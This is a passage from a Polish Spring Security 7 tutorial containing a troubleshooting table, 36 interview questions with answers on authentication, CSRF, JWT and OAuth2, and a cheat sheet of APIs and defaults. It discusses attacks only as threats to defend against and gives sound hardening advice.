Własna strona logowania (albo jej CSS/JS, albo /error) wymaga uwierzytelnienia. | formLogin((f) -> f.loginPage("/login").permitAll()), zasoby statyczne i /error na permitAll(). | |
Pasuje inny łańcuch: wygrywa pierwszy pasujący. Zły securityMatcher albo @Order. | Węższe łańcuchy z niższym @Order. Łańcuch bez securityMatcher na samym końcu. | |
Spring Security 7 usunął and() z DSL HttpSecurity. | Lambda DSL: http.csrf((c) -> …).headers((h) -> …). | |
Usunięte w 7.0 na rzecz authorizeHttpRequests. | authorizeHttpRequests. Uwaga: autoryzuje też dispatch FORWARD/ERROR, w razie potrzeby dispatcherTypeMatchers(DispatcherType.FORWARD, DispatcherType.ERROR).permitAll(). | |
Usunięte w 7.0 na rzecz PathPatternRequestMatcher. | Podawaj wzorce jako stringi w requestMatchers("/api/**") albo użyj PathPatternRequestMatcher.withDefaults(). | |
SecurityContextHolderFilter wymaga jawnego zapisu kontekstu. Samo SecurityContextHolder.setContext() nie trafia do sesji. | securityContextRepository.saveContext(context, request, response) z HttpSessionSecurityContextRepository. | |
hasRole sam dokleja prefiks ROLE_. Rola z prefiksem zostaje odrzucona. | hasRole("ADMIN") albo hasAuthority("ROLE_ADMIN"). | |
Brak @EnableMethodSecurity albo wywołanie z tej samej klasy (self-invocation omija proxy). | Dodaj @EnableMethodSecurity, przenieś metodę do innego beana albo zabezpiecz metodę wołaną z zewnątrz. | |
W łańcuchu działa LoginUrlAuthenticationEntryPoint z form loginu. | Osobny łańcuch dla /api/** z oauth2ResourceServer / httpBasic albo exceptionHandling((e) -> e.authenticationEntryPoint(new HttpStatusEntryPoint(HttpStatus.UNAUTHORIZED))). | |
Zalogowany, ale bez wymaganego authority, np. reguła oczekuje ROLE_ADMIN, a JWT daje SCOPE_admin. | Wypisz authentication.getAuthorities(). Dopasuj regułę albo JwtAuthenticationConverter. | |
Inny iss niż issuer-uri (http/https, adres wewnętrzny/zewnętrzny), aud bez twojego serwisu, wygasły exp albo nieobsługiwany algorytm. | Porównaj claimy tokenu z konfiguracją: issuer-uri co do znaku, audiences, algorytm (jws-algorithms). | |
StrictHttpFirewall odrzuca nieznormalizowane i podejrzane URL-e. | Popraw klienta, który buduje taki URL. Jeśli naprawdę musisz, zluzuj jedną opcję (np. setAllowSemicolon(true)), a nie cały firewall. | |
SecurityContextHolder trzyma kontekst w ThreadLocal, a nowy wątek go nie dziedziczy. | DelegatingSecurityContextAsyncTaskExecutor / DelegatingSecurityContextExecutor (wątki). |
Najgorsza „poprawka” każdego wiersza to csrf.disable(), permitAll() na wszystkim albo wyłączony firewall. Objaw znika, a dziura zostaje na lata. FAQ Springa przy 403 na POST mówi to samo: albo wyślij token, albo wyłącz CSRF, ale tylko świadomie.
- Najpierw
TRACE, potem hipoteza, na końcu poprawka. - 403 na POST to prawie zawsze CSRF, a 401 na OPTIONS to CORS.
- Po upgradzie do 7: lambda DSL,
authorizeHttpRequests,PathPatternRequestMatcher. - Własne logowanie musi jawnie zapisać
SecurityContext.
Pytania rekrutacyjne
36 pytań, które naprawdę padają, i odpowiedzi, które robią wrażenieRekruter nie chce usłyszeć definicji z Wikipedii. Chce usłyszeć, że wiesz, która klasa to robi, kiedy to się psuje i jaki jest kompromis. Odpowiedzi poniżej są krótkie, ale konkretne. Najpierw odpowiedz na głos, dopiero potem rozwiń.
juniorUwierzytelnianie a autoryzacja?
Uwierzytelnianie (authentication) odpowiada na pytanie „kim jesteś?” i kończy się obiektem Authentication w SecurityContext. Autoryzacja (authorization) odpowiada na pytanie „co ci wolno?”: AuthorizationFilter albo method security porównuje authorities z regułą. Błąd uwierzytelniania daje 401, odmowa autoryzacji daje 403.
juniorCo daje samo dodanie spring-boot-starter-security?
Wszystkie endpointy wymagają uwierzytelnienia. Jest wygenerowany użytkownik user z hasłem w logu, form login i HTTP Basic, ochrona CSRF, nagłówki bezpieczeństwa, ochrona przed session fixation i StrictHttpFirewall. Nie dostajesz za to sprawdzania właściciela obiektu, sensownych reguł ani poprawnej walidacji tokenów: to musisz zrobić sam.
juniorCzym różni się 401 od 403?
401 Unauthorized: nie wiadomo, kim jesteś (brak lub zły login, token). Wysyła je AuthenticationEntryPoint, a przy form loginie zamiast 401 jest przekierowanie 302 na /login. 403 Forbidden: wiadomo, kim jesteś, ale nie masz prawa. Obsługuje to AccessDeniedHandler. O tym, którą ścieżką pójść, decyduje ExceptionTranslationFilter.
juniorJak skonfigurować security w Spring Security 7?
Definiujesz bean SecurityFilterChain, który buduje HttpSecurity w lambda DSL: http.authorizeHttpRequests((a) -> a.anyRequest().authenticated()).formLogin(Customizer.withDefaults()). WebSecurityConfigurerAdapter nie istnieje, a w 7.0 usunięto też and() i authorizeRequests.
juniorDlaczego nie SHA-256 do haseł?
Bo jest szybki: GPU sprawdza miliardy kandydatów na sekundę. Do haseł używa się funkcji adaptacyjnych z solą i regulowanym kosztem: bcrypt, scrypt, Argon2, PBKDF2. W Springu to DelegatingPasswordEncoder z PasswordEncoderFactories. Zapisuje prefiks {bcrypt}, więc algorytm można później zmienić bez migracji wszystkich haseł naraz.
juniorCo to CSRF i kiedy można go wyłączyć?
Obca strona zmusza przeglądarkę ofiary do wysłania żądania zmieniającego stan, a przeglądarka sama dokleja ciasteczka. CsrfFilter wymaga tokenu, którego obca strona nie zna, dla metod innych niż GET/HEAD/OPTIONS/TRACE. Wyłączyć go można tylko wtedy, gdy klient nie jest przeglądarką albo poświadczenia nie idą w ciasteczku (np. Bearer w nagłówku).
juniorhasRole a hasAuthority?
hasRole("ADMIN") to skrót od hasAuthority("ROLE_ADMIN"): dokleja domyślny prefiks ROLE_. hasAuthority porównuje string dokładnie, więc jest właściwy dla scope’ów z JWT (SCOPE_orders.read). Przekazanie "ROLE_ADMIN" do hasRole kończy się wyjątkiem.
juniorJak poprawnie wylogować użytkownika?
Spring domyślnie wystawia /logout, a przy włączonym CSRF wymaga POST z tokenem, żeby obca strona nie mogła cię wylogować linkiem. Wylogowanie unieważnia sesję i czyści SecurityContext. Możesz dodać deleteCookies albo nagłówek Clear-Site-Data. Przy JWT samo „wylogowanie” niczego nie unieważnia: token żyje do exp.
juniorCzy CORS chroni serwer?
Nie. Domyślną ochroną jest Same-Origin Policy przeglądarki, a CORS ją luzuje: mówi, które obce originy mogą czytać odpowiedzi. Źle ustawiony CORS (odbijanie Origin z credentials) otwiera dane innym stronom. Na żądania spoza przeglądarki CORS nie ma żadnego wpływu.
juniorCo to session fixation i jak Spring się broni?
Atakujący podrzuca ofierze znany sobie identyfikator sesji, a gdy ofiara się zaloguje, ta sesja staje się zalogowana. Spring domyślnie zmienia ID sesji przy logowaniu (changeSessionId, czyli HttpServletRequest#changeSessionId()), więc stary identyfikator atakującego jest bezużyteczny.
juniorGdzie Spring trzyma zalogowanego użytkownika?
W SecurityContextHolder, domyślnie w ThreadLocal, w obiekcie SecurityContext z Authentication (principal, credentials, authorities). Między żądaniami kontekst przechowuje SecurityContextRepository, zwykle HttpSessionSecurityContextRepository, czyli sesja HTTP.
juniorZ czego składa się JWT?
Z trzech części Base64URL rozdzielonych kropkami: nagłówek (alg, kid), payload z claimami (iss, sub, aud, exp, scope) i podpis. Payload nie jest szyfrowany, tylko podpisany: każdy go przeczyta, ale nikt nie zmieni bez klucza.
midOpisz drogę żądania przez Spring Security.
Kontener woła DelegatingFilterProxy, ten przekazuje żądanie do beana FilterChainProxy. FilterChainProxy stosuje HttpFirewall i wybiera pierwszy pasujący SecurityFilterChain. Potem idą filtry po kolei: m.in. CORS, CSRF, logout, filtry uwierzytelniania, ExceptionTranslationFilter, a na końcu AuthorizationFilter.
midJak działa AuthenticationManager?
Filtr tworzy niezalogowany token (np. UsernamePasswordAuthenticationToken) i oddaje go AuthenticationManager. Standardowa implementacja to ProviderManager, który pyta kolejne AuthenticationProvider. DaoAuthenticationProvider ładuje użytkownika z UserDetailsService, sprawdza hasło przez PasswordEncoder i zwraca zalogowany Authentication. Po sukcesie credentials są domyślnie czyszczone.
midJakie pułapki ma kolejność reguł w authorizeHttpRequests?
Reguły są sprawdzane w kolejności zapisu i wygrywa pierwsza pasująca. Szeroka reguła ("/**") nad wąską ("/admin/**") sprawia, że ta wąska nigdy nie zadziała. Zasada: od najwęższej do najszerszej, a na końcu anyRequest(), najlepiej denyAll(). Do tego test negatywny na każdy chroniony endpoint.
midMethod security: co i kiedy się psuje?
@EnableMethodSecurity włącza @PreAuthorize/@PostAuthorize/@PreFilter/@PostFilter przez proxy AOP. Psuje się przy wywołaniu z tej samej klasy (this.delete() omija proxy) i przy obiektach tworzonych przez new, a nie przez Springa. @PostAuthorize wykonuje metodę przed sprawdzeniem, więc nie nadaje się do operacji ze skutkami ubocznymi.
midJak zabezpieczyć się przed IDOR?
Sama reguła URL (/orders/** → authenticated()) nie wystarcza, bo każdy zalogowany przeczyta cudze zamówienie. Sprawdzaj właściciela: najlepiej w zapytaniu (findByIdAndOwner, cudze = 404), albo @PostAuthorize("returnObject.owner == authentication.name"), albo własny AuthorizationManager. Losowe UUID utrudniają zgadywanie, ale nie zastępują sprawdzenia.
midJak skonfigurować resource server na JWT?
oauth2ResourceServer((o) -> o.jwt(Customizer.withDefaults())) i issuer-uri, z którego Spring pobiera metadane i JWKS oraz sprawdza podpis, iss i exp/nbf. Audience trzeba włączyć osobno (audiences albo JwtClaimValidator). Scope’y trafiają do authorities jako SCOPE_x, a inne mapowanie ustawisz w JwtAuthenticationConverter.
midPo co kilka SecurityFilterChain?
Różne powierzchnie mają różne zasady: API jest bezstanowe z Bearer i bez form loginu, UI ma sesję, CSRF i stronę logowania, Actuator ma osobne role. Każdy łańcuch ma securityMatcher i @Order. FilterChainProxy wykonuje tylko pierwszy pasujący, więc łańcuch bez matchera dajesz na koniec.
midJak testujesz bezpieczeństwo?
MockMvc z spring-security-test: @WithMockUser(roles = "ADMIN"), post-procesory with(csrf()), with(jwt().authorities(...)), with(user(...)). Najważniejsze są testy negatywne: anonim dostaje 401 (albo 302), zła rola dostaje 403, a cudzy zasób 403/404. Najlepiej z macierzy endpoint × rola, żeby nowy endpoint bez reguły od razu wypadł w CI.
midRemember-me: wersja z hashem a trwała?
TokenBasedRememberMeServices zapisuje w ciasteczku login, czas ważności i podpis z hasłem. Nie potrzebuje bazy, a zmiana hasła unieważnia wszystkie ciasteczka. PersistentTokenBasedRememberMeServices trzyma w bazie serię i token. Token zmienia się przy każdym użyciu, a użycie starego tokenu z tej samej serii jest traktowane jako kradzież i usuwa wszystkie tokeny użytkownika.
midCSRF w aplikacji SPA?
W Spring Security 7 wystarczy csrf((csrf) -> csrf.spa()). Token idzie w ciasteczku XSRF-TOKEN czytelnym dla JS (CookieCsrfTokenRepository.withHttpOnlyFalse()), a klient odsyła go w nagłówku X-XSRF-TOKEN. Domyślny XorCsrfTokenRequestAttributeHandler maskuje token przeciw BREACH, a konfiguracja spa() radzi sobie i z surowym, i z maskowanym.
midDlaczego w @Async nie ma użytkownika?
Domyślna strategia SecurityContextHolder to ThreadLocal, a nowy wątek z puli nie ma kontekstu. Rozwiązanie to opakować executor: DelegatingSecurityContextAsyncTaskExecutor albo DelegatingSecurityContextExecutorService. MODE_INHERITABLETHREADLOCAL przy pulach wątków bywa groźny, bo wątki są używane ponownie i mogą nieść kontekst poprzedniego użytkownika.
midCo zmieniło się w Spring Security 7?
Usunięto and() z DSL, authorizeRequests, AntPathRequestMatcher i MvcRequestMatcher (zostaje PathPatternRequestMatcher) oraz grant typu password. Doszły: wsparcie MFA (@EnableMultiFactorAuthentication), csrf.spa(), Spring Authorization Server jako część Spring Security i PKCE domyślnie włączone w serwerze autoryzacji.
seniorCzemu w mikroserwisach nie wystarczy walidacja na bramie?
Bo brama chroni tylko ruch, który przez nią przechodzi. Atakujący z przejętego serwisu woła inne bezpośrednio (ruch boczny). Zero trust oznacza, że każdy serwis jest resource serverem i sprawdza podpis, iss, exp i aud (żeby token wydany dla serwisu A nie działał w B). Do tego mTLS albo polityki siatki usług, użytkownik bazy per serwis i wąskie scope’y.
seniorJWT, token nieprzezroczysty czy sesja?
JWT weryfikujesz lokalnie: jest szybki i nie wymaga stanu, ale trudno go unieważnić przed exp, więc potrzebny jest krótki TTL i refresh token. Opaque token wymaga introspekcji u IdP: masz natychmiastowe unieważnienie kosztem zapytania przy każdym żądaniu (często z cache). Sesja z ciasteczkiem jest najprostsza dla jednej aplikacji webowej, ale wymaga CSRF i współdzielonego magazynu sesji przy skalowaniu.
seniorGdzie SPA ma trzymać tokeny?
Najbezpieczniej nigdzie: wzorzec BFF (Backend for Frontend) trzyma tokeny po stronie serwera, a przeglądarka ma tylko ciasteczko sesji HttpOnly, Secure, SameSite i ochronę CSRF. Token w localStorage wykradnie każdy udany XSS. Token w pamięci JS jest lepszy, ale XSS nadal może go użyć w czasie, gdy strona jest otwarta.
seniorCo chroni PKCE i czy confidential client go potrzebuje?
PKCE wiąże wymianę code na token z sekretem code_verifier, który zna tylko klient, który zaczął przepływ. Przechwycony code jest więc bezużyteczny. RFC 9700 zaleca PKCE także dla confidential clients, bo chroni przed wstrzyknięciem kodu. W Springu klient ma requireProofKey domyślnie włączone dla authorization_code, a Authorization Server ma PKCE domyślnie włączone dla tego grantu.
senioralg: none i pomylenie algorytmów: jak Spring się broni?
NimbusJwtDecoder akceptuje tylko skonfigurowane algorytmy (domyślnie RS256 albo te z JWKS przy issuer-uri) i zawsze wymaga podpisu. Token z alg: none dostaje 401 z opisem „Unsupported algorithm of none”. Zgodnie z RFC 8725 klucz jest powiązany z algorytmem i nigdy nie jest wybierany na podstawie tego, co atakujący wpisze w nagłówku.
seniorSkradziony bearer token: co możesz zrobić?
Bearer działa w każdych rękach, więc ograniczasz szkody: krótki TTL, wąski aud i scope, rotacja refresh tokenów. Na wyższym poziomie stosujesz tokeny powiązane z nadawcą: DPoP (dowód posiadania klucza przy każdym żądaniu, obsługiwany w resource serverze Spring Security) albo tokeny powiązane z certyfikatem mTLS.
seniorPo co StrictHttpFirewall, skoro są reguły?
Reguła widzi ścieżkę po swojemu, a kontener albo framework może ją zinterpretować inaczej (; parametry ścieżki, %2F, .., //). Ta rozbieżność to obejście autoryzacji. Domyślny StrictHttpFirewall odrzuca nieznormalizowane żądania. Niezależnie od tego w 7.0 zostaje jeden matcher, PathPatternRequestMatcher, a starsze AntPathRequestMatcher i MvcRequestMatcher zniknęły.
seniorMulti-tenancy w resource serverze?
Gdy tokeny wydaje kilku IdP, tenant rozróżniasz po iss: JwtIssuerAuthenticationManagerResolver trzyma listę zaufanych wydawców i dla każdego osobny AuthenticationManager. Nigdy nie ufaj dowolnemu iss z tokenu, tylko liście dozwolonych, bo inaczej atakujący wskaże swój serwer kluczy.
seniorJak zaprojektować autoryzację w dużym systemie?
Domyślnie odmawiaj, a reguły zgrubne (rola, scope) trzymaj na URL-ach. Reguły dziedzinowe (właściciel, tenant, stan obiektu) dawaj w serwisie: @PreAuthorize z beanem albo własny AuthorizationManager. Role i scope’y zarządzaj centralnie w IdP. Decyzje loguj (AuthorizationDeniedEvent) i testuj macierzą. ACL tylko wtedy, gdy uprawnienia naprawdę są per obiekt, bo to duży koszt.
seniorJak wykryć atak w logach?
Spring publikuje AuthenticationSuccessEvent, AuthenticationFailureBadCredentialsEvent i AuthorizationDeniedEvent, a integracja z Micrometer daje obserwacje łańcucha filtrów. Wysyłasz je do SIEM i alarmujesz o wzorcach: wiele porażek z jednego IP, porażki na wielu kontach (stuffing), seria 403. Według OWASP Logging nie logujesz haseł, tokenów dostępu ani ID sesji.
seniorCredential stuffing w skali: co robisz?
Spring Security nie ma wbudowanego limitera prób ani automatycznej blokady po nieudanych logowaniach (flaga isAccountNonLocked jest tylko sprawdzana), więc warstwy budujesz sam. MFA (w 7.0 @EnableMultiFactorAuthentication) odbiera wartość samemu hasłu. CompromisedPasswordChecker nie przepuszcza haseł z wycieków. Limit prób na bramie per IP i per konto, wykrywanie botów, a także monitoring porażek.
seniorJak migrujesz z 5.x do 7?
Etapami: najpierw do najnowszej 6.x z opcjami przygotowawczymi z przewodnika migracji, usuwasz ostrzeżenia o deprecjacji, przechodzisz na lambda DSL i authorizeHttpRequests, a dopiero potem podbijasz do 7. Po drodze pilnujesz zmian zachowania: jawny zapis SecurityContext, autoryzacja dispatchy ERROR/FORWARD, matchery ścieżek. Testy negatywne przed migracją są siatką bezpieczeństwa.
CsrfFilter bez zrozumienia.- Dobra odpowiedź to mechanizm, klasa, kiedy się psuje i jaki jest kompromis.
- Junior: pojęcia i domyślne ochrony. Mid: przepływy i pułapki. Senior: architektura i kompromisy.
- Przy każdym pytaniu wróć do rozdziału, z którego pochodzi, i przeklikaj figurę.
Egzamin i ściąga
sprawdź, co zostało w głowieKażde pytanie testuje mechanizm z jednego rozdziału. Błędne odpowiedzi to typowe mity, które rozdziały obalały. Pytania z dopiskiem (L2) albo (L3) dotyczą głębszych poziomów.
Ściąga
| API / ustawienie | Domyślnie / co robi | Kiedy |
|---|---|---|
| SecurityFilterChain + @Order | wybierany jest pierwszy pasujący łańcuch; bez @Order = ostatni | osobne reguły dla API, panelu i reszty |
| http.securityMatcher("/api/**") | zawęża, które żądania obsługuje łańcuch | wiele łańcuchów; ostatni zostaw bez matchera |
| logging.level.org.springframework.security=TRACE | loguje wywołanie każdego filtra dla każdego żądania | debugowanie „dlaczego 403?” |
| securityContextRepository.saveContext(...) | jawny zapis kontekstu między żądaniami | własny endpoint logowania |
| DelegatingSecurityContextExecutor | przenosi SecurityContext do zadań w puli wątków | @Async, executory, zadania w tle |
| exceptionHandling(authenticationEntryPoint(...)) | co dostaje niezalogowany (302 / 401) | API: HttpStatusEntryPoint(UNAUTHORIZED) |
PasswordEncoderFactories.createDelegatingPasswordEncoder() | format {id}hash, nowe hasła {bcrypt} (strength 10) | zawsze; stare hashe migruj przez upgradeEncoding + UserDetailsPasswordService |
hideUserNotFoundExceptions | true: nieznany login = BadCredentialsException | nie zmieniaj; pilnuj tych samych komunikatów w rejestracji i resecie hasła |
CompromisedPasswordChecker (HaveIBeenPwnedRestApiPasswordChecker) | domyślnie brak; bean jest podchwytywany automatycznie, rzuca CompromisedPasswordException | logowanie i zmiana hasła; limitu prób Spring nie ma, dodaj go sam |
sessionManagement(s -> s.sessionFixation(...).maximumSessions(n)) | changeSessionId; limit sesji wymaga HttpSessionEventPublisher | zawsze (fixation); limit sesji, gdy polityka firmy go wymaga |
rememberMe(r -> r.tokenRepository(repo)) | bez repo: hash w ciasteczku; z repo: series + token, CookieTheftException; ważność 2 tygodnie | gdy musisz mieć „zapamiętaj mnie”; ustaw wspólny key w klastrze |
@EnableMultiFactorAuthentication, oneTimeTokenLogin(), webAuthn() | FACTOR_PASSWORD/FACTOR_OTT/FACTOR_WEBAUTHN; OTT wygasa po 5 min | konta wrażliwe i admini; passkeys tam, gdzie liczy się odporność na phishing |
authorizeHttpRequests(…) | pierwsza pasująca reguła wygrywa; kończ na anyRequest().denyAll() | każdy SecurityFilterChain |
StrictHttpFirewall | domyślny; odrzuca ; %2F \ %25 // .., metody spoza listy → 400 | luzuj tylko punktowo (setAllowXxx) |
@EnableMethodSecurity | włącza @Pre/PostAuthorize, @Pre/PostFilter; Boot nie robi tego sam | kontrola w warstwie serwisów; pamiętaj o this. |
@PostAuthorize("returnObject.owner == authentication.name") | sprawdza zwrócony obiekt, odmowa → 403 | IDOR przy odczycie; zapytanie zawężone do właściciela jest prostsze |
hasRole("X") / hasAuthority("X") | ROLE_X / dokładnie X; hasRole("ROLE_X") → wyjątek | role vs uprawnienia, SCOPE_… z JWT |
RoleHierarchyImpl.withDefaultRolePrefix() | A > B = A zawiera B | admin dziedziczy uprawnienia; testuj kierunek strzałki |
csrf (domyślnie) | włączone dla metod niebezpiecznych; token w HttpSessionCsrfTokenRepository, maskowany przez XorCsrfTokenRequestAttributeHandler (BREACH) | zawsze, gdy przeglądarka dokleja ciasteczko lub Basic |
csrf((csrf) -> csrf.spa()) | 7.0: gotowa konfiguracja CSRF pod SPA; CookieCsrfTokenRepository: ciasteczko XSRF-TOKEN, nagłówek X-XSRF-TOKEN | front SPA z sesją w ciasteczku |
cors(withDefaults()) + UrlBasedCorsConfigurationSource | CorsFilter przed Spring Security (także preflight); jawna lista originów, credentials nie z * | front na innym originie |
headers(…) | domyślnie: Cache-Control/Pragma/Expires, nosniff, HSTS (tylko HTTPS), X-Frame-Options: DENY, X-XSS-Protection: 0; CSP, Referrer-Policy, Permissions-Policy — opt-in | dodaj CSP; frameOptions.sameOrigin(), gdy osadzasz własne strony |
redirectToHttps(withDefaults()), server.forward-headers-strategy | http → https (od 6.5); stosowanie Forwarded/X-Forwarded-* za proxy | TLS kończony na load balancerze |
oauth2Login() + requireProofKey | żądanie autoryzacji w HttpSession do czasu odpowiedzi; PKCE dla klienta publicznego zawsze, dla poufnego domyślnie true przy authorization_code | logowanie przez IdP; grant password usunięty w 7.0 |
oauth2ResourceServer(jwt) + issuer-uri | podpis (JWK, tylko RS256), exp/nbf, iss; scope → SCOPE_. aud dopiero z audiences / JwtClaimValidator | API przyjmujące JWT |
opaqueToken() + introspection-uri | introspekcja przy każdym żądaniu | gdy potrzebne odwoływanie tokenów |
OAuth2ClientHttpRequestInterceptor | dokleja Bearer do RestClient, pobiera/odnawia token (client_credentials) | serwis–serwis, BFF |
@WithMockUser, with(csrf()), with(jwt()) | user/ROLE_USER; jwt() domyślnie SCOPE_read | macierz testów endpoint × rola, z 401/403 |
DelegatingSecurityContextAsyncTaskExecutor / ReactiveSecurityContextHolder | kontekst per zadanie / z Reactor Context | @Async, pule; WebFlux. Nie: MODE_INHERITABLETHREADLOCAL z pulą |
spring.security.oauth2.resourceserver.jwt.audiences | brak, więc aud nie jest sprawdzany | każdy serwis w mikroserwisach (zero trust) |
securityMatcher(…) + @Order | wygrywa pierwszy pasujący łańcuch | osobny łańcuch per powierzchnia (API, UI, Actuator) |
logging.level.org.springframework.security=TRACE | wyłączone | diagnoza 401/403/pętli, nie na stałe w produkcji |
securityContextRepository.saveContext(…) | wymagane przy własnym logowaniu | własny endpoint logowania |
Wracamy do zagadki z początku: czy sam spring-boot-starter-security czyni aplikację bezpieczną? Nie. Starter wymaga logowania wszędzie i włącza ochrony techniczne: CSRF, ochronę przed session fixation, nagłówki, BCrypt i firewall URL-i. Nie wie jednak, kto jest adminem, czyje jest zamówienie, którym originom ufasz w CORS ani jakiej publiczności (aud) mają być twoje tokeny. Te decyzje są twoje: reguły „deny by default”, sprawdzanie właściciela danych, poprawna walidacja tokenów i testy, które próbują się włamać.
Następny krok: weź checklistę hardeningu z Części VII i przejdź ją na własnym projekcie. Każdy punkt, którego nie możesz odhaczyć, ma swój rozdział z atakiem i obroną.